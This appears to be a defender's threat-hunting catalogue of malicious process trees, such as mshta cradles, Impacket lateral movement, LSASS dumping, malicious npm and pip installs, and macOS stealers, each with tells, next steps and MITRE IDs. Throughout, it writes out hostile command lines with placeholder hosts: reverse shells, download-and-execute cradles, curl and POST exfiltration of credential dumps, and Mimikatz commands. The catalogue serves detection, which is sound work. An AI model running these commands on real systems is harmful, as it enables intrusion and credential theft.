  • A service whose ImagePath is cmd.exe /c echo ... > \\.\pipe\....
  • Created and deleted within seconds by a user-context process.
  • Meterpreter/Cobalt Strike named-pipe impersonation to SYSTEM.

Next

  • Find the process that created the service and treat it as a beacon now running as SYSTEM.
  • Look for a second, persistent service installed right after.
  • Check injection targets (explorer.exe) from the same payload.
T1134.001 · T1543.003 seen in zenith
malicious initial access windows

hh.exe opening a malicious CHM

explorer.exe / outlook.exe / 7zFM.exe
└─ hh.exe C:\Users\<user>\Downloads\<lure>.chm
   └─ cmd.exe / powershell.exe / mshta.exe <payload>

Tells

  • Compiled HTML Help files are rare in modern business. One from Downloads, mail or an archive is a lure.
  • hh.exe spawning a shell or script host is the payload firing.
  • Network connection from hh.exe to a remote URL.

Next

  • Get the CHM origin (mail attachment, browser download, Zone.Identifier).
  • Decode the child command and hunt the CHM hash fleetwide.
T1218.001 · T1204.002
malicious initial access windows

HTA attachment from email

OUTLOOK.EXE
└─ (save/open) ...\Content.Outlook\<random>\<lure>.hta
explorer.exe / OUTLOOK.EXE
└─ mshta.exe "C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\<random>\<lure>.hta"
   └─ powershell.exe -enc <base64>

Tells

  • An .hta from the Outlook attachment cache or Downloads. No business sends HTA by email.
  • mshta then spawning powershell/cmd/rundll32.

Next

  • Find the email (sender, subject, recipients) and purge it from other mailboxes.
  • Decode the child command; pull URLs and dropped files.
T1566.001 · T1218.005
malicious lateral movement windows

Impacket or Metasploit psexec/smbexec: random service names

services.exe
└─ %systemroot%\<8 random letters>.exe            (7045: random service name; psexec clone)
   └─ cmd.exe
services.exe
└─ cmd.exe /Q /c echo <command> ^> \\127.0.0.1\C$\__output 2^>^&1 > %SYSTEMROOT%\<random>.bat & %COMSPEC% /Q /c %SYSTEMROOT%\<random>.bat & del %SYSTEMROOT%\<random>.bat

Tells

  • Service with a random 8-character name pointing at a random EXE in C:\Windows.
  • cmd.exe /Q /c echo ... ^> \\127.0.0.1\C$\__output is smbexec.
  • Searching for PSEXESVC finds nothing: that is the point of the clones.

Next

  • Pull 7045 and 4697 across hosts to map every target.
  • Identify the account used (4624 type 3 right before) and its source.
  • Check what was deployed through it (ransomware binaries in C:\Windows\Temp).
T1021.002 · T1569.002 · T1543.003 seen in insiderbrett, maromafix-falldown-ransomhub, ghosttrace
malicious lateral movement windows

Impacket wmiexec: WmiPrvSE → cmd /Q /c ... 1> \\127.0.0.1\ADMIN$\__<epoch>

svchost.exe -k DcomLaunch
└─ WmiPrvSE.exe -Embedding
   └─ cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<epoch> 2>&1
         commands seen: systeminfo, type <file>, schtasks /create ...

Tells

  • WmiPrvSE.exe parenting a long run of cmd.exe /Q /c children.
  • Output redirected to a timestamp-named file on ADMIN$.
  • Network logon (4624 type 3) for the same account right before.

Next

  • Filter 4688/Sysmon 1 on parent WmiPrvSE.exe to get the full command history.
  • Find the source IP and account from the logon events.
  • Check for persistence created through it (schtasks, new users).
T1047 · T1021.002 seen in holmes-2025-3-the-enduring-echo
malicious defense evasion windows

InstallUtil /U running a custom assembly

<parent: cmd.exe / powershell.exe / wscript.exe>
└─ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\<user>\AppData\Local\Temp\<random>.dll
   └─ (network) <ip>:443

Tells

  • /U on an assembly from a user path runs the attacker’s Uninstall method inside a signed Microsoft binary.
  • /logfile= empty and /LogToConsole=false hide output.
  • Legit use is during real .NET service installs from Program Files by installers.

Next

  • Hash the assembly; check signer and prevalence.
  • Check for network activity or injection from InstallUtil.
T1218.004
malicious initial access windows

ISO/IMG mount → exe (often DLL side-load)

explorer.exe   (double-click <name>.iso, Windows mounts it as E:)
└─ E:\<Document>.exe          (signed legit app)
   (image load) E:\<legit-name>.dll   (malicious, side-loaded)
   └─ (inject / network) <ip>:443

Tells

  • Process image path on a mounted drive letter (D:, E: …) that is not a real disk; files inside ISOs used to bypass Mark of the Web.
  • Signed exe loading an unsigned DLL from the same folder.
  • Hidden files in the ISO (the DLL) and a visible lure.

Next

  • Find the ISO origin and hash; list its contents from file events.
  • Check the DLL hash and the network connections of the exe.
T1553.005 · T1204.002 · T1574.002
malicious initial access linux

Java or Node app server spawning a shell (Tomcat, Openfire, Jenkins, Next.js)

java (Tomcat / Openfire / Jenkins)
├─ /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'
└─ nc <ip> <port> -e /bin/bash
node (Next.js / React server)
└─ /bin/sh -c while :; do (curl -sk https://<ip>:443/<name>.sh -o ./<name>.sh || wget -qO ./<name>.sh https://<ip>:443/<name>.sh --no-check-certificate) && ...
   └─ bash ./<name>.sh

Tells

  • java or node with a shell child at all is rare on a server.
  • /dev/tcp/, nc -e, or a curl || wget retry loop in the command line.
  • Preceded by a malicious WAR/plugin upload, Groovy script console use, or a crafted RSC request.

Next

  • Find the uploaded WAR/plugin or the request that triggered it.
  • Check for persistence: systemd units, cron, .bashrc, XDG autostart.
  • Rotate any credentials the app server could read (config files, credentials stores).
T1190 · T1505.003 · T1059.004 · T1105 seen in breach, callmeonthechain-etherrat, openfire, redishell, tomcat-takeover
malicious execution windows

JS dropper scheduling itself, then PowerShell → MSBuild → injected browser

OpenWith.exe
└─ WScript.exe "<Downloads>\<extracted>\<random>.JS"
   ├─ cmd.exe /c schtasks /create /sc minute /mo 15 /tn <random>.JS /tr C:\Users\Public\Libraries\<random>.JS
   └─ powershell.exe <obfuscated, command line truncated past 32KB>
      └─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
         └─ (injects) chrome.exe               (bursts of decoy DNS queries)

Tells

  • A scheduled task whose action is a .JS file in C:\Users\Public\Libraries.
  • MSBuild.exe launched by PowerShell on a non-developer machine.
  • A browser process with no user activity spraying DNS lookups to many unrelated domains (FormBook decoys).

Next

  • Recover the PowerShell from 4104 or the dropped .png carrier files in C:\Users\Public.
  • Kill the injected browser PID and remove the task.
  • Check whether the archive (.rar) reached other mailboxes.
T1059.007 · T1053.005 · T1127.001 · T1055 · T1071.004 seen in formbook
malicious defense evasion linux

Linux miner dropper stopping a competing miner and wiping crontabs

bash
└─ wget -q http://<ip>/sh -O- | sh
   ├─ sh clean
   │  ├─ systemctl stop <competitor>_miner ; systemctl disable <competitor>_miner
   │  └─ sed -i '/wget\|curl\|\/dev\/tcp/d' /var/spool/cron/crontabs/*
   └─ <writable dir>/x86_64 ...            (miner, config to <pool>)

Tells

  • A script stopping someone else’s miner service.
  • Crontab lines containing wget, curl or /dev/tcp being deleted.
  • Extensionless ELF named after an architecture (x86_64) pulled from a bare IP.

Next

  • Find the miner process and its pool connection; block both.
  • Treat the host as owned: someone else was already mining on it.
  • Look at SSH auth for the brute force that usually precedes this.
T1496 · T1562.001 · T1105 · T1070 seen in cuidado
malicious execution windows

LNK → renamed cmd.exe → renamed reg/wscript → rundll32 DLL (Qbot)

explorer.exe
└─ <lure>.lnk
   └─ C:\<random dir>\<random>.exe /C "<junk> || <junk> || <script>.cmd"       (renamed cmd.exe)
      ├─ %TEMP%\<random>.exe import <dir>\<random>.reg                          (renamed reg.exe)
      └─ <random>.exe <dir>\<random>.wsf                                        (renamed wscript.exe, JScript)
         └─ powershell.exe Add-MpPreference ... ; rundll32 $env:TEMP\<random>.dll,<export>

Tells

  • Signed Microsoft binaries running under random names (check OriginalFileName).
  • || chains of garbage commands that fail on purpose.
  • A .wsf with thousands of junk lines.

Next

  • Hunt by OriginalFileName = cmd.exe/wscript.exe/reg.exe with a different image name.
  • Grab the DLL from %TEMP% and the C2 list from it.
  • Remove registry persistence the .reg import created.
T1204.002 · T1036.003 · T1059.007 · T1218.011 · T1562.001 seen in qbot
malicious initial access windows

LNK from an archive launching PowerShell that opens a decoy

explorer.exe
└─ <lure>.pdf.lnk                                 (inside a ZIP)
   └─ cmd.exe /c ... | rundll32.exe ...
      └─ powershell.exe -w hidden -c "<long argument: fetch decoy PDF, then stage 2>"
            (proxy sees User-Agent WindowsPowerShell/5.1 fetching a .pdf)

Tells

  • A shortcut whose target is powershell.exe with a long argument string.
  • Document “downloads” made by PowerShell instead of a browser.
  • Scheduled task or folder like AppData\Roaming\<Helper> appearing a minute later.

Next

  • Parse the LNK (LECmd) for the full command line.
  • Pull the stage 2 URL from proxy logs.
  • Check for persistence and the runtime it dropped (portable Python, Node).
T1566.001 · T1204.002 · T1059.001 seen in poisoned-aid, aotr-1-a-call-from-the-museum
malicious lolbin windows

LNK launching ftp -s script hidden in an image, then certutil -decode

explorer.exe
└─ cmd.exe /c ...                               (from <lure>.pdf.lnk)
   ├─ ftp.exe -s:<lure>.png                     (FTP command script disguised as an image)
   ├─ DeviceCredentialDeployment.exe             (hides the console window)
   ├─ findstr.exe <marker> <file> > C:\ProgramData\<name>.tmp
   ├─ certutil.exe -decode C:\ProgramData\<name>.tmp C:\ProgramData\<name>.dll
   └─ C:\ProgramData\<renamed signed>.exe       (side-loads <name>.dll)

Tells

  • ftp.exe -s: with a non-text extension.
  • ftp, findstr, certutil -decode and DeviceCredentialDeployment.exe within seconds of each other.
  • A signed Microsoft binary renamed (e.g. to ssh.exe) sitting next to a DLL in ProgramData.

Next

  • Recover the decoded DLL and the renamed EXE (check OriginalFileName / catalog hint).
  • Check for follow-on credential theft (reg save of hives) and rclone-style exfil.
  • Find the archive that delivered the LNK.
T1204.002 · T1202 · T1140 · T1574.002 · T1036.005 seen in recruiter-hanoi-op
malicious credential access windows

LSASS dump via renamed procdump or WerFault silent process exit

<persistence exe running as SYSTEM>
└─ C:\Windows\system32\<short>.exe -accepteula -ma lsass.exe lsass.dmp       (OriginalFileName: procdump)
C:\Windows\Temp\<random>.exe   (SYSTEM)
└─ WerFault.exe ...                              (silent process exit against lsass.exe → lsass.exe-(PID-<n>)-<n>.dmp)
cmd.exe
└─ curl.exe <file-sharing host> -T lsass.exe-(PID-<n>).dmp

Tells

  • -ma lsass.exe on any command line, whatever the binary is called.
  • WerFault.exe spawned outside a real crash with lsass as the target; may produce no Sysmon 10 at all.
  • A .dmp file named after lsass being uploaded with curl -T.

Next

  • Assume every credential cached on that host is burned: reset, and krbtgt twice if a DC was involved.
  • Check SilentProcessExit / IFEO registry keys for lsass.
  • Trace where the dump went and which accounts log in next from new sources.
T1003.001 · T1036.005 · T1567.002 seen in dumpster, rhadamanthys
malicious initial access macos

macOS Terminal paste → curl | bash (ClickFix-style)

Terminal
└─ zsh
   └─ /bin/bash -c "$(curl -fsSL http://<domain>/<path>)"   (or echo <base64> | base64 -d | bash)
      └─ curl -o /tmp/<random> http://<domain>/<file>
      └─ xattr -c /tmp/<random> ; chmod +x /tmp/<random> ; /tmp/<random>

Tells

  • A user pasting a one-liner from a “fix” page, fake install guide or search ad. Base64 wrappers, /tmp targets.
  • xattr -c / xattr -d com.apple.quarantine strips Gatekeeper’s quarantine flag.
  • Often followed by the osascript password prompt tree.

Next

  • Get the URL and the downloaded binary; check signer and notarization.
  • Check browser history for the lure page; scope credentials as in the osascript tree.
T1204.004 · T1059.004 · T1105
malicious credential access windows

Malicious package beaconing / stealing from node.exe

<terminal / IDE / CI agent>
└─ node.exe <project>\node_modules\<pkg>\index.js   (runs on import or postinstall)
   (file reads) %APPDATA%\..\Local\Google\Chrome\User Data\*\Login Data, .npmrc, .ssh\id_*, .aws\credentials, .env
   (network) node.exe → <domain or webhook>/<path>  POST
   └─ (sometimes) node.exe <random>.js detached / Run key added

Tells

  • node.exe reading browser credential stores, crypto wallet folders, .ssh, .npmrc, cloud credential files: no build tool needs those.
  • Outbound POSTs to paste sites, Discord/Telegram webhooks, fresh domains or raw IPs, not to the npm registry.
  • A detached second node process or a Run key pointing at node.exe with a .js in AppData.

Next

  • Identify the package from the script path; check its version and publish date.
  • Treat any secret on the host as exposed: tokens, SSH keys, cloud keys, browser sessions.
  • Search the fleet and CI for the same package version.
T1195.002 · T1555.003 · T1552.001 · T1041
malicious defense evasion windows

mavinject DLL injection

<parent: cmd.exe / powershell.exe>
└─ mavinject.exe <target_pid> /INJECTRUNNING C:\Users\<user>\AppData\Local\Temp\<random>.dll
   (target) explorer.exe / svchost.exe now loads <random>.dll

Tells

  • /INJECTRUNNING injects a DLL into a running process. Normal use is App-V only.
  • DLL in a user path, target is a long-lived process (explorer, svchost).
  • No App-V in the estate = no reason for mavinject at all.

Next

  • Identify the target PID and its behavior after injection (network, children).
  • Hash the DLL; check what dropped it.
T1218.013 · T1055.001
malicious credential access windows

Mimikatz sekurlsa::logonpasswords (binary, renamed or Invoke-Mimikatz)

powershell.exe -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/<repo>/Invoke-Mimikatz.ps1 -OutFile <benign-name>.ps1"
powershell.exe -Command ". .\<benign-name>.ps1 ; Invoke-Mimikatz -Command 'privilege::debug' ; Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'"
cmd.exe
└─ C:\Users\Public\<dir>\mimikatz.exe | <renamed>.exe "privilege::debug" "sekurlsa::logonpasswords" exit
      (Sysmon 10 on lsass.exe, GrantedAccess 0x1010 / 0x1410)

Tells

  • privilege::debug, sekurlsa::, Invoke-Mimikatz in a command line or 4104 block.
  • lsass access from a binary in C:\Users\Public, Downloads or Temp.
  • Renamed EXE (netdiag.exe etc.) whose hash resolves to mimikatz.

Next

  • Reset every account that had a session on the host.
  • Look for logons with those accounts from new hosts (4624 type 3/10) in the next hours.
  • Find the toolkit folder: PowerView, PsExec and mimikatz usually travel together.
T1003.001 · T1059.001 · T1105 · T1036.005 seen in domainnance, insider, marionette, ghosttrace, whisper
malicious lolbin windows

MSBuild.exe launched by an installer, script host or HTA

explorer.exe
└─ <Downloads>\<cracked_tool>_setup.exe
   ├─ cmd.exe /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe <dir>\<project>.xml
   └─ rundll32.exe "C:\Users\<user>\Music\<random>.dll",Start
mshta.exe "<archive>\<name>.hta"
└─ msbuild.exe <archive>\config.xml          (inline task, C# compiled and run in memory)

Tells

  • MSBuild.exe on an end-user workstation outside Visual Studio is almost always proxy execution.
  • Project file is .xml in a user/temp/archive path with a <UsingTask> inline task.
  • Sibling rundll32 loading a DLL from Music/AppData right after.

Next

  • Grab the project file: the inline C# usually holds the decoder and next URL.
  • Check MSBuild network connections and any process it injected into (Sysmon 8/10).
  • Trace the parent installer back to its download source.
T1127.001 · T1218.011 · T1204.002 seen in formbook, gothicpanda1, markshell-ta577, stolen-time-hiddentear
malicious execution windows

mshta running a local .hta from an extracted archive

explorer.exe
└─ mshta.exe "<Desktop|Downloads>\<extracted archive>\<name>.hta"
   ├─ powershell.exe -nop -w hidden -enc <base64>     (gzip → base64 → XOR → shellcode via VirtualAlloc)
   │  └─ C:\Users\<user>\AppData\Local\<random>.exe   (C2 agent)
   └─ msbuild.exe <archive>\<name>.xml
WmiPrvSE.exe
└─ <hidden child>                                      (Win32_Process.Create with ShowWindow=0 from the HTA)

Tells

  • mshta.exe launching PowerShell, cmd or MSBuild.
  • An .hta inside a freshly extracted archive in a user folder.
  • A hidden process whose parent is WmiPrvSE.exe right after the HTA ran: the script used WMI to break the parent chain.

Next

  • Get the HTA and decode every stage (base64 UTF-16LE, then XOR key).
  • Pivot on the agent EXE network destination; treat the first IP as a possible redirector.
  • Check for lateral movement with harvested credentials from the same host.
T1218.005 · T1059.001 · T1047 · T1127.001 seen in markshell-ta577, hyperfiletable, noted
malicious lolbin windows

mshta.exe javascript: / vbscript: inline code

<parent: cmd.exe / explorer.exe / Run key / scheduled task>
└─ mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc <base64>"",0:close")
   └─ powershell.exe -enc <base64>
--- or ---
└─ mshta.exe javascript:a=GetObject("script:http://<ip>/<file>.sct").Exec();close();

Tells

  • javascript: or vbscript: as the mshta argument means inline code; there is no file on disk to scan.
  • ,0 in .Run hides the window; close() closes mshta right after.
  • Very common in Run-key and scheduled-task persistence (fileless).

Next

  • Copy the full command line and decode any nested base64.
  • Check if it came from a Run key or task (registry/task creation events): that is persistence to remove.
  • Look for the script: / .sct URL and hunt it fleetwide.
T1218.005 · T1059.005 · T1059.007
malicious lolbin windows

mshta.exe running a remote HTA

<parent: explorer.exe / outlook.exe / cmd.exe / wscript.exe>
└─ mshta.exe http://<domain>/<path>.hta
   └─ powershell.exe -nop -w hidden -c "<download cradle>"
      └─ <random>.exe

Tells

  • mshta with an http(s) URL as its argument executes remote VBScript/JScript with full user rights.
  • Children of mshta (powershell, cmd, rundll32) are the real payload.
  • The URL path may not end in .hta at all; any URL works.

Next

  • Grab the URL and the HTA content if the EDR captured the script or network data.
  • Walk up the parent: Run dialog (ClickFix), email attachment, LNK.
  • Check for network connections from mshta.exe itself and from its children.
T1218.005 · T1105
malicious persistence windows

New auto-start service from C:\Windows\Temp or a fake system binary

services.exe
└─ C:\Windows\Temp\<winupdate-like>.exe          (4697/7045: LocalSystem, auto start)
services.exe
└─ C:\Windows\<WindowsPooler-like>.exe <random>
services.exe
└─ C:\Windows\Sysmon.exe                          (fake Sysmon service, not the real driver/service pair)
svchost.exe -k netsvcs
└─ (loads) <attacker>.dll                         (existing service's ServiceDll swapped)

Tells

  • Service binary in Temp or directly in C:\Windows with an update/spooler/monitoring name.
  • Service names that copy real tools (Sysmon, Windows Update).
  • A ServiceDll change on a built-in svchost service.

Next

  • Check signer and hash of the ImagePath; compare ServiceDll to baseline.
  • Find who created it (4697 subject, preceding remote logon).
  • Remove the service and binary; check for the same service on other hosts.
T1543.003 · T1036.004 · T1574.011 seen in codefreeze, stolen-time-hiddentear, zenith
malicious execution windows

node -e spawning a shell with a socket

<parent: cmd.exe / powershell.exe / webserver node app>
└─ node.exe -e "require('child_process').exec('...')"   (or a .js in Temp/AppData)
   └─ cmd.exe /d /s /c <command>
   └─ (network) node.exe ↔ <ip>:<port> long-lived

Tells

  • node -e / node -p with child_process, net.Socket, Buffer.from(..., 'base64') or eval = inline payload.
  • Script running from Temp/AppData/ProgramData, not from a project folder.
  • A Node web app (Next.js, Express) suddenly spawning cmd/sh with recon commands (whoami, ipconfig, curl) = RCE in the app.

Next

  • Get the full command line or script path and the remote IP.
  • If the parent is a server app, check its logs for the request that triggered it (treat as a webshell/RCE case).
  • Check for persistence and further downloads.
T1059.007 · T1059.003 · T1071.001
malicious execution windows

npm install → postinstall spawns PowerShell/curl

<terminal / IDE>
└─ npm.cmd install   (or node.exe ...\npm-cli.js install)
   └─ cmd.exe /d /s /c node <pkg>/install.js        (the "postinstall" script)
      └─ node.exe <pkg>/install.js
         └─ powershell.exe -w hidden -c "iwr http://<ip>/<file> -OutFile $env:TEMP\<random>.exe; start $env:TEMP\<random>.exe"
         └─ curl.exe -s http://<domain>/<path> -o %TEMP%\<random>

Tells

  • Which package triggered it: the cmd /d /s /c line and working directory (node_modules\<pkg>) name the package. Typosquats and freshly published versions are the risk.
  • Stays local or reaches out? Legit install scripts compile (node-gyp, cl.exe) or copy files. Downloading an exe, hidden windows, encoded commands or iex = malicious.
  • Who and where: developer workstation is normal for npm install; a finance laptop or a server running it is not.
  • Prevalence and signer: the dropped binary will be unsigned, rare, and in Temp/AppData.

Next

  • Read the package’s package.json scripts (preinstall, install, postinstall) and its version; check whether that version is known-bad or was just published.
  • Pull every URL/IP and the dropped file; check what it did next (credential files, browser data, persistence).
  • Find other hosts that installed the same package version (lockfile, same command line).
T1195.002 · T1059.001 · T1105
malicious credential access windows

NTDS.dit theft on a DC with vssadmin or ntdsutil

cmd.exe / powershell.exe        (admin session on a DC)
├─ vssadmin.exe create shadow /for=C:
│     (VSSVC.exe starts; 4799 enumerates Administrators + Backup Operators)
├─ cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<n>\Windows\NTDS\ntds.dit C:\<staging>\ntds.dit
└─ ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\<dir>" q q
      (ESENT 325/327 within seconds)

Tells

  • vssadmin create shadow or ntdsutil ... ifm on a DC outside a backup window.
  • ntds.dit or the SYSTEM hive copied to Temp or a share.
  • 4799 from VSSVC.exe or ntdsutil.exe just before the copy.

Next

  • Find the staged copy and where it went (SMB, archive, upload).
  • Plan a full domain credential reset including krbtgt.
  • Identify the account and source host of the admin session.
malicious defense evasion windows

odbcconf REGSVR / response file

<parent: cmd.exe / wscript.exe>
└─ odbcconf.exe /a {REGSVR C:\Users\<user>\AppData\Local\Temp\<random>.dll}
--- or ---
└─ odbcconf.exe -f C:\Users\<user>\AppData\Local\Temp\<random>.rsp

Tells

  • REGSVR loads any DLL; a .rsp response file can hide the same action.
  • ODBC driver config from a script host with a DLL in Temp is not admin work.

Next

  • Hash the DLL and check signer/prevalence.
  • Read the response file if one was used.
T1218.008
malicious initial access windows

Office doc → encoded PowerShell download cradle

WINWORD.EXE
└─ cmd.exe /c powershell -w hidden -enc <base64>
   └─ powershell.exe -nop -w hidden -enc <base64>
      └─ rundll32.exe C:\Users\Public\<random>.dll,<export>

Tells

  • An Office app as the parent of cmd/powershell/mshta/wscript is almost never legitimate.
  • -enc, -w hidden, -nop together = someone hiding intent.
  • A DLL loaded by rundll32 from C:\Users\Public, %TEMP% or AppData with a random name.

Next

  • Decode the -enc blob (UTF-16LE base64) and pull the URL or IP.
  • Look for the dropped DLL: file creation by powershell.exe just before rundll32 starts.
  • Check whether the same document hash or sender reached other hosts.
T1566.001 · T1204.002 · T1059.001 · T1218.011
malicious initial access windows

Office macro reaching out itself, then a dropped EXE or certutil pull

explorer.exe
└─ WINWORD.EXE / EXCEL.EXE "<Downloads>\<lure>.docm|.xls"     (Sysmon 3: Office itself connects to <ip>:<port>)
   ├─ powershell.exe -w hidden -c <stager>                    (writes <stager>.ps1)
   │  └─ C:\Users\<user>\AppData\Roaming\<random>.exe          (beacons to <ip>)
   └─ cmd.exe /c certutil -urlcache -split -f "http://<ip>:<port>/svchost.exe" "C:\Windows\Temp\svchost.exe"
<dropped>.exe
└─ cmd.exe                                                     (reverse shell, different port on the same <ip>)

Tells

  • An Office process making its own outbound connection right after open is the macro calling home.
  • Any shell, certutil or PowerShell child of Word/Excel.
  • A system process name (svchost.exe) landing in C:\Windows\Temp or AppData.

Next

  • Check the document Zone.Identifier HostUrl and whether other users opened the same file.
  • Pivot on the C2 IP across all hosts: second-stage payloads often reuse it on another port.
  • Look for persistence created within minutes (schtasks, Run keys) by the dropped binary.
T1566.001 · T1204.002 · T1059.001 · T1105 · T1036.005 seen in splunkit, ghosttrace, shadowbait
malicious initial access windows

OneNote attachment → mshta / wscript / cmd

ONENOTE.EXE
└─ (embedded file dropped) %TEMP%\OneNote\<ver>\Exported\{<guid>}\NT\0\<file>.hta|.vbs|.cmd|.wsf
└─ mshta.exe / wscript.exe / cmd.exe <that path>
   └─ powershell.exe / curl.exe / rundll32.exe

Tells

  • ONENOTE.EXE as the parent of any script host or shell. Users “double-click to view document” on an embedded file.
  • The \OneNote\<ver>\Exported\ temp path in the child command line.

Next

  • Get the .one file origin (mail) and the embedded file.
  • Follow the children to the payload; hunt the attachment across mailboxes.
T1566.001 · T1204.002 · T1059.005
malicious credential access macos

osascript fake password prompt (macOS stealer)

<launcher: unsigned app from a mounted DMG / bash from Terminal paste>
└─ osascript -e 'display dialog "macOS needs your password to continue" default answer "" with hidden answer'
└─ dscl . authonly <user> <password>   (checks the typed password)
└─ osascript -e 'tell application "Finder" to ...'   (collects Desktop/Documents files)
└─ ditto -c -k ... /tmp/<random>.zip ; curl -X POST -F file=@/tmp/<random>.zip http://<ip>/<path>

Tells

  • osascript with display dialog and hidden answer = password phishing (AMOS, Cuckoo and similar stealers).
  • dscl . authonly, keychain file access (login.keychain-db), browser and wallet folder reads, then a zip and a POST.
  • Source is usually a cracked app or fake installer DMG, or a Terminal paste lure.

Next

  • Treat the user’s password, keychain, browser sessions and wallets as compromised.
  • Find the DMG/app origin and hash; check the exfil destination.
T1056.002 · T1059.002 · T1555.001
malicious initial access windows

Outlook → script host or shell

OUTLOOK.EXE
└─ wscript.exe "...\Content.Outlook\<random>\<lure>.js"
└─ cmd.exe / powershell.exe <command>

Tells

  • Outlook spawning wscript, cscript, mshta, cmd, powershell directly = user opened a script attachment, or an Outlook rule/form/home page abuse.
  • Path inside Content.Outlook (the attachment cache).
  • Persistent version: Outlook rules or forms launching apps (no attachment, recurring).

Next

  • Find the email and other recipients; purge.
  • Check Outlook rules and forms if no attachment matches.
T1566.001 · T1059.005 · T1204.002
malicious initial access windows

Pasted "compliance" script running encoded PowerShell that fetches a hidden EXE

powershell.exe (user terminal)
└─ powershell.exe -ExecutionPolicy Bypass -EncodedCommand <base64>
   └─ %TEMP%\<n>.exe                         (file set hidden, run without a window)
      └─ (injects) notepad.exe → enumerates groups (4799)

Tells

  • A developer running a script from a gist/paste “to check their environment”.
  • -EncodedCommand that decodes to a download to %TEMP% plus -WindowStyle Hidden.
  • Real-looking output to the user while it runs.

Next

  • Decode the command and list every URL, including earlier test endpoints in the gist history.
  • Check PSReadLine history for what the user actually pasted.
  • Look for privilege escalation set up afterwards (service DLL swaps).
T1204 · T1059.001 · T1105 · T1055 seen in codefreeze
malicious initial access windows

PDF reader spawning a shell

AcroRd32.exe / Acrobat.exe / FoxitPDFReader.exe / msedge.exe (PDF viewer)
└─ cmd.exe / powershell.exe / <random>.exe

Tells

  • A PDF reader’s normal children are its own helpers (AcroCEF.exe, RdrCEF.exe, AdobeARM.exe, FullTrustNotifier). A shell is exploitation or a user clicking “open” on an embedded file.
  • Browser as PDF viewer: watch for the browser spawning cmd instead.

Next

  • Get the PDF origin and hash; check the reader version for known exploits.
  • Follow the child to the payload.
T1203 · T1204.002
malicious execution windows

pip install → setup.py spawns a shell or network tool

<terminal / IDE>
└─ python.exe -m pip install <package>
   └─ python.exe <temp>\pip-install-<random>\<package>\setup.py egg_info   (or a PEP 517 build backend)
      └─ powershell.exe -w hidden -c "<download cradle>"
      └─ cmd.exe /c curl http://<ip>/<file> -o %TEMP%\<random>.exe && %TEMP%\<random>.exe

Tells

  • Which package: the pip-install-<random>\<package> folder in the command line names it. Typosquats (reqeusts, python-dateutils) are the classic case.
  • Stays local or not? setup.py should only build (compilers, cmake). Shells, downloads, base64 or exec in it = malicious.
  • Context: a dev or data science box running pip is normal; a server or a non-technical user is not.

Next

  • Get the package name and version; check its publish date and whether it is a typosquat.
  • Pull URLs and dropped files; check for credential file reads and persistence.
  • Find other hosts that installed it (same command line, requirements files).
T1195.002 · T1059.006 · T1105
malicious exfil windows

PowerShell Compress-Archive + ToBase64String + POST

<loader>.exe
├─ powershell.exe -c Compress-Archive -Path <staging> -DestinationPath <dir>\<name>.zip
└─ powershell.exe -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('<zip>')); Invoke-WebRequest -Method POST -Uri http://<ip>/<path> -Body $b"

Tells

  • ToBase64String + ReadAllBytes + POST in one command line.
  • Archive creation in a staging folder right before.
  • Destination is the same IP as the loader C2.

Next

  • Find the staging folder and list what was zipped.
  • Size the POSTs in proxy logs.
  • Hunt ToBase64String in PowerShell command lines fleet-wide.
T1560.001 · T1132.001 · T1041 seen in ghostconnect-ta583
malicious c2 windows

PowerShell IEX cradle → rundll32 with no arguments (Cobalt Strike)

explorer.exe
└─ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<ip>:80/<path>'))"
   └─ rundll32.exe                               (no arguments: spawnto process)
      └─ (injects) vmtoolsd.exe | explorer.exe | dwm.exe | spoolsv.exe
explorer.exe (injected)
└─ cmd.exe /c chcp 437 ...                       (beacon task output encoding)

Tells

  • -nop -w hidden -c IEX ... downloadstring with a raw IP: Cobalt Strike scripted web delivery.
  • rundll32.exe with an empty command line that holds network connections.
  • Named pipes like \\MSSE-<n>-server or \\postex_<hex> (Sysmon 17/18).
  • explorer.exe or spoolsv.exe suddenly spawning cmd.exe /c children.

Next

  • Dump the beacon config (1768.py / CobaltStrikeParser) from memory or the staged payload.
  • Check lsass access (Sysmon 10, GrantedAccess 0x1010) from the injected process.
  • Contain fast: these beacons typically lead to PsExec and ransomware within hours.
T1059.001 · T1218.011 · T1055 · T1071.001 seen in maromafix-falldown-ransomhub, multistages, stolen-time-hiddentear
malicious execution windows

python -c with base64 / exec / urllib

<parent: cmd.exe / powershell.exe / wscript.exe / cron / sshd>
└─ python.exe -c "import base64,zlib;exec(zlib.decompress(base64.b64decode('<base64>')))"
--- or ---
└─ python3 -c "import urllib.request;exec(urllib.request.urlopen('http://<ip>/<path>').read())"
   └─ (network) <ip>:<port>

Tells

  • exec/eval of decoded or downloaded data = in-memory loader. Real one-liners print things or run modules (-m), they do not exec blobs.
  • Parent is a script host, cron, a webshell or an SSH session, not an IDE.
  • Long-lived outbound connection from python with an odd port.

Next

  • Decode the blob (base64, then zlib/marshal if present).
  • Pull the IP/URL and check for persistence (Run keys, cron, systemd).
  • Judge the user: who runs Python on this host normally?
T1059.006 · T1027 · T1105
malicious execution linux

python3 spawning python3 -c exec(base64...) in a storm (malicious .pth)

bash
└─ python3                                       (interpreter start auto-imports a malicious .pth)
   └─ python3 -c "import base64; exec(base64.b64decode('<base64>'))"     (×1000+)
      └─ curl -X POST https://<domain>/ ...        (exfil of collected secrets)
systemd --user
└─ python3 ~/.config/<name>/<name>.py            (unit named after a monitoring tool)

Tells

  • Hundreds of identical python3 -c exec(base64...) children in seconds (and a frozen host).
  • A .pth file in site-packages that contains code, not paths.
  • A new user systemd unit under ~/.config/systemd/user/ named like a security tool.

Next

  • Find the .pth and the package that shipped it; remove both.
  • Disable the user unit and check for Kubernetes lateral movement (privileged pods).
  • Treat all keys and tokens on the host as stolen.
